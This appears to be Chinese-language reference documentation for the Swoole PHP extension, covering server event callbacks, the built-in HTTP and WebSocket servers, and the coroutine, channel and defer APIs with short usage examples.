【 onBufferFull 】
当缓存区达到最高水位时触发此事件。
function onBufferFull(Swoole\Server $serv,int $fd);
设置server->buffer_high_watermark选项来控制缓存区高水位线,单位为字节
触发onBufferFull表明此连接$fd的发送队列已触顶即将塞满,这时不应当再向此$fd发送数据
$server->set([
'buffer_high_watermark' => 8 * 1024 * 1024,
]);
$server->on('onBufferFull',function ($serv,$fd) {
});
【 onBufferEmpty 】
当缓存区低于最低水位线时触发此事件。
function onBufferEmpty(Swoole\Server $serv,int $fd);
设置server->buffer_low_watermark来控制缓存区低水位线
触发此事件后表明当前的$fd发送队列中的数据已被发出,可以继续向此连接发送数据了
【 onTask 】
task_worker进程处理任务的回调
在task_worker进程内被调用。worker进程可以使用swoole_server_task函数向task_worker进程投递新的任务。
当前的Task进程在调用onTask回调函数时会将进程状态切换为忙碌,这时将不再接收新的Task,当onTask函数返回时会将进程状态切换为空闲然后继续接收新的Task
函数原型: function onTask(swoole_server $serv,int $task_id,int $src_worker_id,string $data);
参数 描述
$serv swoole_server对象
$task_id 任务ID,由swoole扩展内自动生成,用于区分不同的任务。$task_id和$src_worker_id组合起来才是全局唯一的,不同的worker进程投递的任务ID可能会有相同
$src_worker_id 来自于哪个worker进程
$data 任务内容
onTask函数执行时遇到致命错误退出或被外部进程强制kill,当前的任务会被丢弃,但不会影响其他正在排队的Task
返回执行结果到worker进程
1.7.2以上的版本在onTask函数中return字符串,表示将此内容返回给worker进程。worker进程中会触发onFinish函数,表示投递的task已完成,worker进程将在onFinish回调中收到结果
return的变量可以是任意非null的PHP变量
如果serv->set(array('task_worker_num' => 8)) task_id并不是从1-8而是递增的。
【 onFinish 】
task_worker进程处理任务结束的回调
当worker进程投递的任务在task_worker中完成时,task进程会通过swoole_server->finish()方法将任务处理的结果发送给worker进程。
函数原型: function onFinish(swoole_server $serv,int $task_id,string $data);
参数 描述
$serv swoole_server对象
$task_id 任务ID
$data 任务结果
task进程的onTask事件中没有调用finish方法或者return结果,worker进程不会触发onFinish
执行onFinish逻辑的worker进程与下发task任务的worker进程是同一个进程
在此函数中会收到任务处理的结果,通过task_id和worker_id来区分不同的任务。
【 onPipeMessage 】
当工作进程收到由sendMessage发送的管道消息时会触发onPipeMessage事件。worker/task进程都可能会触发onPipeMessage事件。
函数原型: void onPipeMessage(swoole_server $server,int $src_worker_id,mixed $message);
$src_worker_id 消息来自哪个Worker进程
$message 消息内容,可以是任意PHP类型
【 onWorkerError 】
当Worker/Task进程发生异常后会在Manager进程内回调此函数。
void onWorkerError(swoole_server $serv,int $worker_id,int $worker_pid,int $exit_code,int $signal);
$worker_id 异常进程的编号
$worker_pid 异常进程的ID
$exit_code 退出的状态码,范围是0~255
$signal 进程退出的信号
此函数主要用于报警和监控,一旦发现Worker进程异常退出,那么很有可能是遇到了致命错误或进程CoreDump。通过记录日志或发送报警的信息来提示开发者进行相应的处理。
常见错误
signal = 11
说明Worker进程发生了segment fault段错误,可能触发了底层的BUG,请收集core dump信息和valgrind内存检测日志,向我们反馈此问题
exit_code = 255
说明Worker进程发生了Fatal Error致命错误,请检查PHP的错误日志,找到存在问题的PHP代码,进行解决
signal = 9
说明Worker被系统强行Kill,请检查是否有人为的kill -9操作,检查dmesg信息中是否存在OOM(Out of memory)
如果存在OOM,分配了过大的内存。检查Server的setting配置,是否创建了非常大的Swoole\Table、Swoole\Buffer等内存模块
【 onManagerStart 】
当管理进程启动时调用,在这个回调函数中可以修改管理进程的名称。
函数原型: void onManagerStart(swoole_server $serv);
manager进程中不能添加定时器,不能使用task、async、coroutine等功能
manager进程中可以调用sendMessage接口向其他工作进程发送消息
启动顺序
onManagerStart触发时,说明:
1、Task和Worker进程已创建
2、Master进程状态不明,因为Manager与Master是并行的,onManagerStart回调发生是不能确定Master进程是否已就绪
【 onManagerStop 】
当管理进程结束时调用
函数原型: void onManagerStop(swoole_server $serv);
onManagerStop触发时说明Task和Worker进程已结束运行,已被Manager进程回收。
预定义常量
SWOOLE_VERSION 当前Swoole的版本号,字符串类型,如1.6.0 swoole_server构造函数参数 SWOOLE_BASE 使用Base模式,业务代码在Reactor进程中直接执行 SWOOLE_PROCESS 使用进程模式,业务代码在Worker进程中执行 swoole_client构造函数参数 SWOOLE_SOCK_TCP 创建tcp socket SWOOLE_SOCK_TCP6 创建tcp ipv6 socket SWOOLE_SOCK_UDP 创建udp socket SWOOLE_SOCK_UDP6 创建udp ipv6 socket SWOOLE_SOCK_UNIX_DGRAM 创建unix dgram socket SWOOLE_SOCK_UNIX_STREAM 创建unix stream socket SWOOLE_SOCK_SYNC 同步客户端 SWOOLE_SOCK_ASYNC 异步客户端 swoole_lock构造函数参数 SWOOLE_FILELOCK 创建文件锁 SWOOLE_MUTEX 创建互斥锁 SWOOLE_RWLOCK 创建读写锁 SWOOLE_SPINLOCK 创建自旋锁 SWOOLE_SEM 创建信号量 SSL加密方法 SWOOLE_SSLv3_METHOD SWOOLE_SSLv3_SERVER_METHOD SWOOLE_SSLv3_CLIENT_METHOD SWOOLE_SSLv23_METHOD(默认加密方法) SWOOLE_SSLv23_SERVER_METHOD SWOOLE_SSLv23_CLIENT_METHOD SWOOLE_TLSv1_METHOD SWOOLE_TLSv1_SERVER_METHOD SWOOLE_TLSv1_CLIENT_METHOD SWOOLE_TLSv1_1_METHOD SWOOLE_TLSv1_1_SERVER_METHOD SWOOLE_TLSv1_1_CLIENT_METHOD SWOOLE_TLSv1_2_METHOD SWOOLE_TLSv1_2_SERVER_METHOD SWOOLE_TLSv1_2_CLIENT_METHOD SWOOLE_DTLSv1_METHOD SWOOLE_DTLSv1_SERVER_METHOD SWOOLE_DTLSv1_CLIENT_METHOD
swoole_http_server 创建Web服务器
swoole-1.7.7增加了内置Http服务器的支持,通过几行代码即可写出一个异步非阻塞多进程的Http服务器。 swoole_http_server对Http协议的支持并不完整,建议仅作为应用服务器,并且在前端增加Nginx作为代理 常见使用场景: 因为swoole是在cli命令下执行的,在传统通过nginx+fastcgi模式下很多root的shell无法执行,而使用这个swoole服务器就很好的控制rsync,git,svn等。 Http\Server->on注册事件回调函数,与Server->on相同,不同之处是: 1、Http\Server->on不接受onConnect/onReceive回调设置,额外接受1种新的事件类型onRequest,Http服务器只需要关注请求响应即可,所以只需要监听一个onRequest事件,当有新的Http请求进入就会触发此事件 2、可以使用task worker和定时器
在收到一个完整的Http请求后会回调此函数。回调函数共有2个参数:
1、$request是Http请求信息对象,包含了header/get/post/cookie等请求相关信息,如GET/POST请求的数据,post的content-type限定为application/x-www-form-urlencode
2、$response是Http响应对象,支持cookie/header/status等Http操作,对request的响应可以通过操作response对象来完成。$response->end()方法表示输出一段HTML内容,并结束此请求
在onRequest回调函数返回时底层会销毁$request和$response对象,如果未执行$response->end()操作,底层会自动执行一次$response->end("")
Request对象销毁时会自动删除上传的临时文件
$response/$request对象传递给其他函数时,不要加&引用符号
$response/$request对象传递给其他函数后,引用计数会增加,onRequest退出时不会销毁
Http\Server->start启动后开始监听端口,并接收新的Http和WebSocket请求。使用on方法注册的事件回调,如onWorkerStart/onShutdown等事件回调函数依然有效
【 Swoole_HTTP_SERVER的事件顺序 】
server -> Start
server -> ManagerStart ; WorkerStart ; 并发处理
进入worker进程事件循环
等待客户端连接…
worker -> Connect
worker -> Request
worker -> Close 连接超时则关闭连接,重启时不会触发
exit|die或reload重启worker进程
server -> WorkerStop
server -> WorkerStart
worker -> Connect 若当前已连接则不会再触发该事件
worker -> Request
worker -> Close 连接超时则关闭连接,否则不触发
关闭服务器
server -> WorkerStop
server -> Shutdown
【 Swoole_HTTP_SERVER实例 】
0.0.0.0表示监听所有IP地址,一台服务器可能同时有多个IP,如127.0.0.1本地回环IP、192.168.1.100局域网IP、210.127.20.2外网IP,也可以单独指定监听一个IP
9501 监听的端口,如果被占用程序会抛出致命错误,中断执行
启动服务:php http_server.php
可以打开浏览器,访问http://127.0.0.1:9501查看程序的结果
可以使用apache ab工具对服务器进行压力测试
http_server.phpswoole_http_server实现简单的路由通过使用apache bench工具进行压力测试,在Inter Core-I5 4核 + 8G内存的普通PC机器上,swoole_http_server可以达到近11万QPS,远超php-fpm、golang、node.js自带http服务器。性能几乎接近与Nginx的静态文件处理。 ab -c 200 -n 200000 -k http://127.0.0.1:9501 Http、WebSocket服务器都是继承自Server,所以Server提供的API,如task/finish/tick等都可以使用 Http\Server继承自Server,是一个完整的http服务器实现,支持同步和异步2种模式。 无论是同步模式还是异步模式,Http\Server都可以维持大量TCP客户端连接,同步/异步仅仅体现在对请求的处理方式上。 同步模式 这种模式等同于nginx+php-fpm/apache,需要设置大量Worker进程来完成并发请求处理。Worker进程内可以使用同步阻塞IO,编程方式与普通PHP Web程序完全一致。 与php-fpm/apache不同的是,客户端连接并不会独占进程,服务器依然可以应对大量并发连接。 异步模式 这种模式下整个服务器是异步非阻塞的,服务器可以应对大规模的并发连接和并发请求。但编程方式需要完全使用异步API,如MySQL、redis、http_client、file_get_contents、sleep等阻塞IO操作必须切换为异步的方式,如异步Client,Event,Timer等API。
【 使用Http2协议 】 需要依赖nghttp2库,下载nghttp2(https://github.com/nghttp2/nghttp2)后编译安装 使用Http2协议必须开启openssl 需要高版本openssl必须支持TLS1.2、ALPN、NPN ./configure --enable-openssl --enable-http2 设置http服务器的open_http2_protocol为true $serv->set([ 'ssl_cert_file' => $ssl_dir . '/ssl.crt', 'ssl_key_file' => $ssl_dir . '/ssl.key', 'open_http2_protocol' => true, ]);【 nginx+swoole配置 】
【 thinkphp移植swoole 】 关键点 1、寻找执行入口 2、加载http参数 3、修改define定义方式 4、修改die、exit函数的调用 5、优化执行结果 【 异步Http/WebSocket客户端 】 Swoole-1.8.0版本增加了对异步Http/WebSocket客户端的支持,底层是用纯C编写,拥有超高的性能。 异步HTTP客户端目前仍在实验阶段,请谨慎使用 启用Http客户端 1.8.6版本之前需要在编译swoole时增加--enable-async-httpclient来开启此功能。 swoole_http_client不依赖任何第三方库 支持Http-Chunk、Keep-Alive特性,暂不支持form-data格式 Http协议版本为HTTP/1.1 gzip压缩格式支持需要依赖zlib库 构造方法 function swoole_http_client->__construct(string $ip,int port,bool $ssl = false); $ip 目标服务器的IP地址,可使用swoole_async_dns_lookup查询域名对应的IP地址 $port 目标服务器的端口,一般http为80,https为443 $ssl 是否启用SSL/TLS隧道加密,如果目标服务器是https必须设置$ssl参数为true
Swoole WebSocket
swoole-1.7.9增加了内置的websocket服务器支持,通过几行PHP代码就可写出一个异步非阻塞多进程的WebSocket服务器
常见使用场景: 原生php最不好用的是socket类库,而在开发IM和及时通信项目时有了新的选择,后端使用php Swoole WebSocket + 前端 html5 WebSocket;
WebSocket服务器是建立在Http服务器之上的长连接服务器,客户端首先会发送一个Http的请求与服务器进行握手,握手成功后会触发onOpen事件表示连接已就绪,onOpen函数中可以得到$request对象,包含了Http握手的GET参数、Cookie、Http头信息等相关信息,建立连接后客户端与服务器端就可以双向通信了。
客户端向服务器端发送信息时服务器端触发onMessage事件回调
服务器端可以调用$server->push()向某个客户端(使用$fd标识符)发送消息
服务器端可以设置onHandShake事件回调来手工处理WebSocket握手
systemd
使用systemd管理Swoole服务时勿设置daemonize=1,systemd的机制与init不同,init进程的PID为1,程序使用daemonize后会脱离终端,最终被init进程托管,与init关系变为父子进程关系。
但systemd是启动了一个单独的后台进程,自行fork管理其他服务进程,因此不需要daemonize,使用了daemonize=1反而会使得Swoole程序与该管理进程失去父子进程关系
swoole_http_server是swoole_server的子类,内置了Http的支持
swoole_websocket_server是swoole_http_server的子类,内置了WebSocket的支持
Swoole\WebSocket\Server是Swoole\Server的子类,因此可以调用Swoole\Server的全部方法
如何判断连接是否为WebSocket客户端
通过使用$server->connection_info($fd)获取连接信息,返回的数组中有一项为websocket_status,根据此状态可以判断是否为WebSocket客户端。
WebSocket连接状态常量
WEBSOCKET_STATUS_CONNECTION = 1,连接进入等待握手
WEBSOCKET_STATUS_HANDSHAKE = 2,正在握手
WEBSOCKET_STATUS_FRAME = 3,已握手成功等待浏览器发送数据帧
foreach($this->server->connections as $connection){
$connection_info = $this->server->connection_info($connection);
if(isset($connection_info['websocket_status']) && $connection_info['websocket_status'] == WEBSOCKET_STATUS_FRAME){
$this->server->push($connection,json_encode($result));
}
}
ws_server.php聊天室IMSys.phpComet WebSocket服务器除了提供WebSocket功能之外,实际上也可以处理Http长连接。只需要增加onRequest事件监听即可实现Comet方案Http长轮询
swoole/websocket/server方法
【 WebSocket\Server->push 】 向websocket客户端连接推送数据,长度最大不得超过2M WebSocket服务器向客户端发送数据应当使用Swoole\WebSocket\Server::push方法,此方法会进行WebSocket协议打包,而Swoole\Server::send方法是原始的TCP发送接口。 function WebSocket\Server->push(int $fd,$data,int $opcode = 1,bool $finish = true); 参数模式1 $fd 客户端连接的ID,如果指定的$fd对应的TCP连接并非websocket客户端将会发送失败 $data 要发送的数据内容 $opcode,指定发送数据内容的格式,默认为文本。发送二进制内容$opcode参数需要设置为WEBSOCKET_OPCODE_BINARY 发送成功返回true,发送失败返回false 参数模式2 需要4.2.0及以上版本 $data也就是第一个参数,可以传入一个swoole_websocket_frame对象,支持发送各种帧类型 【 WebSocket\Server->exist 】 判断WebSocket客户端是否存在,并且状态为Active状态。 function WebSocket\Server->exist(int $fd); 连接存在,并且已完成WebSocket握手,返回true 连接不存在或尚未完成握手,返回false 【 WebSocket\Server->disconnect 】 主动向websocket客户端发送关闭帧并关闭该连接,从服务端主动关闭一个WebSocket连接 function WebSocket\Server->disconnect(int $fd,int $code = 1000,string $reason = ""); $fd 客户端连接的ID,如果指定的$fd对应的TCP连接并非websocket客户端,将会发送失败 $code 指定关闭连接的状态码,根据RFC6455 WebSocket协议,可使用的状态码为十进制的一个整数,对于应用程序关闭连接状态码,取值范围为1000或4000-4999之间,默认1000 $reason 指定关闭连接的原因,utf-8格式字符串,字节长度不超过125,默认为空 发送成功返回true,发送失败或状态码非法时返回false
swoole/websocket/server回调函数
WebSocket除了接收Swoole\Server和Swoole\Http\Server基类的回调函数外,额外增加了3个回调函数设置: onMessage回调函数为必选,未设置服务器将无法启动 onOpen和onHandShake回调函数为可选 【 onMessage事件 】 当服务器收到来自客户端的数据帧时会回调此函数。 function onMessage(swoole_websocket_server $server,swoole_websocket_frame $frame) $frame是swoole_websocket_frame对象,包含了客户端发来的数据帧信息 客户端发送的ping帧不会触发onMessage,底层会自动回复pong包 swoole_websocket_frame共有4个属性 $frame->fd,客户端的socket id,使用$server->push推送数据时需要用到 $frame->data,数据内容,可以是文本内容也可以是二进制数据,可以通过opcode的值来判断 $frame->opcode,WebSocket的OpCode类型 $frame->finish,表示数据帧是否完整,一个WebSocket请求可能会分成多个数据帧进行发送,底层已实现了自动合并数据帧,不用担心接收到的数据帧不完整 OpCode与WebSocket数据帧类型常量 WEBSOCKET_OPCODE_TEXT = 0x1 UTF-8文本字符数据 WEBSOCKET_OPCODE_BINARY = 0x2 二进制数据 WEBSOCKET_OPCODE_PING = 0x9 ping类型数据 【 onOpen事件 】 当WebSocket客户端与服务器建立连接并完成握手后会回调此函数。 function onOpen(swoole_websocket_server $svr,swoole_http_request $req); $req是一个Http请求对象,包含了客户端发来的握手请求信息 onOpen事件函数中可以调用push向客户端发送数据或者调用close关闭连接 【 onHandShake事件 】 WebSocket建立连接后进行握手。WebSocket服务器已经内置了handshake,如果用户希望自己进行握手处理可以设置onHandShake事件回调函数。 function onHandShake(swoole_http_request $request,swoole_http_response $response); 设置onHandShake回调函数后不会再触发onOpen事件,需要应用代码自行处理 onHandShake函数必须返回true表示握手成功,返回其他值表示握手失败 内置的握手协议为Sec-WebSocket-Version: 13,低版本浏览器需要自行实现握手
【 onRequest回调 】 swoole_websocket_server继承自swoole_http_server 设置了onRequest回调,websocket服务器也可以同时作为http服务器 未设置onRequest回调,websocket服务器收到http请求后会返回http 400错误页面 如果想通过接收http触发所有websocket的推送,需要注意作用域的问题,面向过程请使用global对WebSocket\Server进行引用,面向对象可以把WebSocket\Server设置成一个成员属性面向过程代码面向对象代码
【 客户端 】 不能直接使用swoole_client与websocket服务器通信,swoole_client是TCP客户端 必须实现WebSocket协议才能和WebSocket服务器通信,可以使用swoole/framework提供的PHP WebSocket客户端 Chrome/Firefox/高版本IE/Safari等浏览器内置了JS语言的WebSocket客户端 微信小程序开发框架内置的WebSocket客户端 异步的PHP程序中可以使用Swoole\Http\Client作为WebSocket客户端 apache/php-fpm或其他同步阻塞的PHP程序中可以使用swoole/framework提供的同步WebSocket客户端 非WebSocket客户端不能与WebSocket服务器通信 甚至还可以结合使用socket.io来配合开发
coroutine协程: Go + Chan + Defer
Swoole4为PHP语言提供了协程+通道全新强大的CSP协程编程模式代替异步回调,应用层可使用完全同步的编程方式,底层自动实现异步IO,Swoole4提供的PHP协程语法借鉴自Golang。底层提供了3个关键词,可以方便地实现各类功能。 协程可以理解为纯用户态的线程,其通过协作而不是抢占来进行切换。相对于进程或线程,协程所有的操作都可以在用户态完成,创建和切换的消耗更低。Swoole可以为每一个请求创建对应的协程,根据IO的状态来合理的调度协程,这会带来了以下优势: 1、开发者可以无感知的用同步的代码编写方式达到异步IO的效果和性能,避免了传统异步回调所带来的离散的代码逻辑和陷入多层回调中导致代码无法维护 2、同时由于底层封装了协程,所以对比传统的PHP层协程框架,开发者不需要使用yield关键词来标识一个协程IO操作,所以不再需要对yield的语义进行深入理解以及对每一级的调用都修改为yield,这极大的提高了开发效率 可以满足大部分开发者的需求。对于私有协议,开发者可以使用协程的TCP或UDP接口去方便的封装。 【 环境要求 】 1、PHP版本要求: >= 7.0 2、基于Server、Http\Server、WebSocket\Server进行开发,底层在onRequet、onReceive、onConnect等事件回调之前自动创建一个协程,在回调函数中使用协程API 3、使用Coroutine::create或go方法创建协程,在创建的协程中使用协程API 【 相关配置 】 在Server的set方法中增加了一个配置参数max_coroutine,用于配置一个Worker进程最多同时处理的协程数目。因为随着Worker进程处理的协程数目的增加,其占用的内存也会增加,为了避免超出php的memory_limit限制,请根据实际业务的压测结果设置该值,默认为3000 【 注意事项 】 全局变量: 协程使得原有的异步逻辑同步化,但是在协程的切换是隐式发生的,所以在协程切换的前后不能保证全局变量以及static变量的一致性。 请勿在4.0以下的版本的以下场景中触发协程切换: 析构函数 魔术方法__call() __get() __set() 等 与xdebug、xhprof、blackfire等zend扩展不兼容,例如不能使用xhprof对协程server进行性能分析采样。 【 协程组件 】 TCP/UDP Client: Swoole\Coroutine\Client HTTP/WebSocket Client: Swoole\Coroutine\HTTP\Client HTTP2 Client: Swoole\Coroutine\HTTP2\Client Redis Client: Swoole\Coroutine\Redis Mysql Client: Swoole\Coroutine\MySQL Postgresql Client: Swoole\Coroutine\PostgreSQL 在协程Server中需要使用协程版Client,可以实现全异步Server 其他程序中可以使用go关键词手工创建协程 同时Swoole提供了协程工具集: Swoole\Coroutine,提供了获取当前协程id、反射调用等能力。
【 关键词 】 go : 创建一个协程 chan : 创建一个通道 defer : 延迟任务,在协程退出时执行,先进后出 这3个功能底层现全部为内存操作,没有任何IO资源消耗,就像PHP的Array一样是非常廉价的,如果有需要就可以直接使用。这与socket和file操作不同,后者需要向操作系统申请端口和文件描述符,读写可能会产生阻塞的IO等待。
【 协程并发 】 使用go函数可以让一个函数并发地去执行,在编程过程中如果某一段逻辑可以并发执行就可以将它放置到go协程中执行。顺序执行并发执行:使用go创建协程可以让test1和test2两个函数变成并发执行,只用2秒就执行完成
顺序执行耗时等于所有任务执行耗时的总和 : t1+t2+t3... 并发执行耗时等于所有任务执行耗时的最大值 : max(t1,t2,t3,...) 【 协程通信 】 有了go关键词之后并发编程就简单多了,与此同时又带来了新问题,如果有2个协程并发执行,另外一个协程需要依赖这两个协程的执行结果,如果解决此问题呢? 答案就是使用通道(Channel),在Swoole4协程中使用new chan就可以创建一个通道,使用通道可以很方便地实现并发管理 通道可以理解为自带协程调度的队列,它有两个接口push和pop: push: 向通道中写入内容,如果已满它会进入等待状态,有空间时自动恢复 pop: 从通道中读取内容,如果为空它会进入等待状态,有数据时自动恢复使用chan来实现并发管理
【 延迟任务 】 在协程编程中可能需要在协程退出时自动执行一些任务做清理工作,类似于PHP的register_shutdown_function,在Swoole4中可以使用defer实现。
Coroutine
【 协程设置 】
可使用Coroutine::set设置协程相关选项。
Swoole\Coroutine::set([
'max_coroutine' => 4096,
]);
max_coroutine 设置最大协程数,超过限制后底层将无法创建新的协程。
stack_size 设置单个协程初始栈的内存尺寸,默认为2M
【 短名称 】
协程短名特性简化了协程相关API的名称书写。可修改php.ini设置swoole.use_shortname来关闭/开启短名,默认为开启。
创建协程
go(function () {
co::sleep(0.5);
echo "hello";
});
go("test");
go([$object,"method"]);
通道操作
$c = new chan(1);
$c->push($data);
$c->pop();
协程客户端
$redis = new Co\Redis;
$mysql = new Co\MySQL;
$http = new Co\Http\Client;
$tcp = new Co\Client;
$http2 = new Co\Http2\Client;
其他 API
co::sleep(100);
co::fread($fp);
co::gethostbyname('www.baidu.com');
延迟执行
defer(function () use ($db) {
$db->close();
});
【 Coroutine::getuid 】
function \Swoole\Coroutine::getuid() : int
获取当前协程的唯一ID,成功时返回当前协程ID(int),如果当前不在协程环境中则返回-1,仅在当前进程内唯一
echo Swoole\Coroutine::getuid();
【 Coroutine::create 】
function Swoole\Coroutine::create(callable $function) : int|false;
创建一个新的协程并立即执行,$function参数是协程执行的代码,创建失败返回false,创建成功返回协程的ID
由于底层会优先执行子协程的代码,因此只有子协程挂起时Coroutine::create才会返回,继续执行当前协程的代码。
如果开启了swoole.use_shortname,可以直接使用go关键词创建新的协程。
执行顺序 在一个协程中使用go嵌套创建新的协程,因为Swoole的协程是单线程模型,因此: 使用go创建的子协程会优先执行,子协程执行完毕或挂起时将重新回到父协程向下执行代码 如果子协程挂起后,父协程退出,不影响子协程的执行
协程开销 协程需要创建单独的内存栈,在PHP-7.2版本中底层会分配8K的stack来存储协程的变量,zval的尺寸为16字节,因此8K的stack最大可以保存512个变量。协程栈内存占用超过8K后ZendVM会自动扩容。PHP-7.1、PHP-7.0默认会分配256K栈内存 协程退出时会释放申请的stack内存。 可调用Co::set(['stack_size' => 4096])修改默认的栈内存尺寸 【 Coroutine::suspend 】 function Swoole\Coroutine::suspend(); 挂起当前协程。此函数是Coroutine::yield()方法的别名。 【 Coroutine::yield 】 function Coroutine::yield(); 让出当前协程的执行权,必须与Coroutine::resume()方法成对使用。该协程yield以后,必须由其他外部协程resume,否则将会造成协程泄漏,被挂起的协程永远不会执行。 【 Coroutine::resume 】 function Swoole\Coroutine::resume(int $coroutineId); 恢复某个协程使其继续运行,参数$coroutineId为要恢复的协程ID,在协程内可以使用Coroutine::getUid获取到协程的ID 当前协程处于挂起状态时,另外的协程中可以使用resume再次唤醒当前协程
【 Coroutine::fread 】 function Coroutine::fread(resource $handle,int $length = 0); 协程方式读取文件,读取成功返回字符串内容,读取失败返回false 参数$handle文件句柄,必须是fopen打开的文件类型stream资源 参数$length读取的长度,默认为0,表示读取文件的全部内容 fread方法支持了非文件类型的stream资源(如STDIN、Socket),底层会自动根据stream类型选择使用AIO线程池或EventLoop实现。
【 Coroutine::fgets 】 function Coroutine::fgets(resource $handle); 协程方式按行读取文件内容,仅可用于文件类型的stream资源,$handle文件句柄必须是fopen打开的文件类型stream资源 Co::fgets底层使用了php_stream缓存区,默认大小为8192字节,可使用stream_set_chunk_size设置缓存区尺寸。 读取到EOL(\r或\n)将返回一行数据包括EOL 未读取到EOL,但内容长度超过php_stream缓存区8192字节,将返回8192字节的数据,不包含EOL 达到文件末尾EOF时,返回空字符串,可用feof判断文件是否已读完 读取失败返回false,使用swoole_last_error函数获取错误码
【 Coroutine::fwrite 】 function Coroutine::fwrite(resource $handle,string $data,int $length = 0); 协程方式向文件写入数据,写入成功返回数据长度,失败返回false 参数$handle文件句柄,必须是fopen打开的文件类型stream资源 参数$data要写入的数据内容,可以是文本或二进制数据 参数$length写入的长度,默认为0表示写入$data的全部内容,$length必须小于$data的长度 fread方法支持了非文件类型的stream资源(如STDIN、Socket),底层会自动根据stream类型选择使用AIO线程池或EventLoop实现。
【 Coroutine::sleep 】 function Coroutine::sleep(float $seconds); 进入等待状态,相当于PHP的sleep函数,不同的是Coroutine::sleep是协程调度器实现的,底层会yield当前协程,让出时间片,并添加一个异步定时器,当超时时间到达时重新resume当前协程恢复运行。使用sleep接口可以方便地实现超时等待功能。 $seconds为睡眠的时间,单位为秒,支持浮点型,最小精度为毫秒(0.001秒),必须大于0,最大不得超过一天时间(86400秒)
【 Coroutine::gethostbyname 】
function Coroutine::gethostbyname(string $domain,int $family = AF_INET): string | bool
将域名解析为IP,基于同步的线程池模拟实现,底层自动进行协程调度。
成功返回域名对应的IP地址,失败返回false
$domain域名,如www.baidu.com
$family默认为AF_INET表示返回IPv4地址,使用AF_INET6时返回IPv6地址
$ip = Swoole\Coroutine::gethostbyname("www.baidu.com");
swoole_async_dns_lookup_coro
协程DNS查询。与co::gethostbyname不同,swoole_async_dns_lookup_coro是基于UDP客户端实现。不支持/etc/hosts配置。
函数原型:
function swoole_async_dns_lookup_coro(string $domain) : string | bool;
查询成功返回对应的IP地址
失败返回false,可使用swoole_errno和swoole_last_error得到错误信息
【 Coroutine::getaddrinfo 】
进行DNS解析,查询域名对应的IP地址,与gethostbyname不同,getaddrinfo支持更多参数设置,而且会返回多个IP结果。
function Coroutine::getaddrinfo(string $domain,int $family = AF_INET,int $socktype = SOCK_STREAM,
int $protocol = IPPROTO_TCP,string $service = null): array | bool
$domain域名,如www.baidu.com
$family默认为AF_INET表示返回IPv4地址,使用AF_INET6时返回IPv6地址
其他参数设置请参考man getaddrinfo文档
成功返回多个IP地址组成的数组,失败返回false
$array = co::getaddrinfo("www.baidu.com");
【 Coroutine::exec 】
function Coroutine::exec(string $cmd) : array;
执行一条shell指令,底层自动进行协程调度。
执行失败返回false,执行成功返回数组,包含了进程退出的状态码、信号、输出内容。
array( 'code' => 0, 'signal' => 0, 'output' => '' );
go(function() {
$ret = Co::exec("md5sum ".__FILE__);
});
【 Coroutine::readFile 】
function Coroutine::readFile(string $filename);
协程方式读取文件。
参数$filename文件名
读取成功返回字符串内容,读取失败返回false,可使用swoole_last_error获取错误信息
readFile方法没有尺寸限制,读取的内容会存放在内存中,因此读取超大文件时可能会占用过多内存
【 Coroutine::writeFile 】 function Coroutine::writeFile(string $filename,string $fileContent,int $flags); 协程方式写入文件,写入成功返回true,写入失败返回false $filename为文件的名称,必须有可写权限,文件不存在会自动创建。打开文件失败会立即返回false $fileContent为要写入到文件的内容,最大可写入4M $flags为写入的选项,默认会清空当前文件内容,可以使用FILE_APPEND表示追加到文件末尾
【 Coroutine::stats 】
function \Swoole\Coroutine::stats() : array
获取协程状态
var_dump(Swoole\Coroutine::stats());
array(1) {
["coroutine_num"]=>int(132) // 当前运行的协程数量
["coroutine_peak_num"]=>int(2) // 当前运行的协程数量的峰值
}
【 Coroutine::statvfs 】
function Coroutine::statvfs(string $path);
获取文件系统信息。
$path: 文件系统挂载的目录,如/,可以使用df和mount -l命令获取
失败返回false,成功返回结果数组
【 Coroutine::getBackTrace 】 function Coroutine::getBackTrace(int $cid=0,int $options=DEBUG_BACKTRACE_PROVIDE_OBJECT,int $limit=0) : array; 获取协程函数调用栈。指定的协程不存在将返回false,成功返回数组格式与debug_backtrace函数返回值相同 参数 $cid 协程的ID,默认为当前协程 $options 设置选项 DEBUG_BACKTRACE_PROVIDE_OBJECT: 是否填充object的索引 DEBUG_BACKTRACE_IGNORE_ARGS: 是否忽略args的索引,包括所有的 function/method 的参数,能够节省内存开销 $limit 限制返回堆栈帧的数量
【 Coroutine::listCoroutines 】
function Coroutine::listCoroutines() : Iterator
遍历当前进程内的所有协程。返回迭代器,可使用foreach遍历,或使用iterator_to_array转为数组
$coros = Coroutine::listCoroutines();
foreach($coros as $cid){
var_dump(Coroutine::getBackTrace($cid));
}
【 Coroutine::defer 】
该方法拥有一个短名: defer,用于资源的释放,会在协程关闭之前(即协程函数执行完毕时)进行调用,就算抛出了异常,已注册的defer也会被执行
和go语言中的defer一样,它的调用顺序是逆序的,也就是先注册defer的后执行,在底层defer列表是一个stack,先进后出. 逆序符合资源释放的正确逻辑,后申请的资源可能是基于先申请的资源的,如先释放先申请的资源,后申请的资源可能就难以释放
Context为用户自己实现的协程上下文管理器
Coroutine\Channel
通道类似于go语言的chan,支持多生产者协程和多消费者协程,底层自动实现了协程的切换和调度。 通道与PHP的Array类似,仅占用内存,没有其他额外的资源申请,所有操作均为内存操作,无IO消耗。 Coroutine\Channel使用本地内存,不同的进程之间内存是隔离的。只能在同一进程的不同协程内进行push和pop操作 方法 Channel->push : 当队列中有其他协程正在等待pop数据时,自动按顺序唤醒一个消费者协程。当队列已满时自动yield让出控制器,等待其他协程消费数据 Channel->pop: 当队列为空时自动yield,等待其他协程生产数据。消费数据后,队列可写入新的数据,自动按顺序唤醒一个生产者协程。 属性 $capacity 通道缓冲区容量 $errCode channel错误码
连接池 使用Chan可以方便得实现连接池功能,管理各类Socket连接资源。
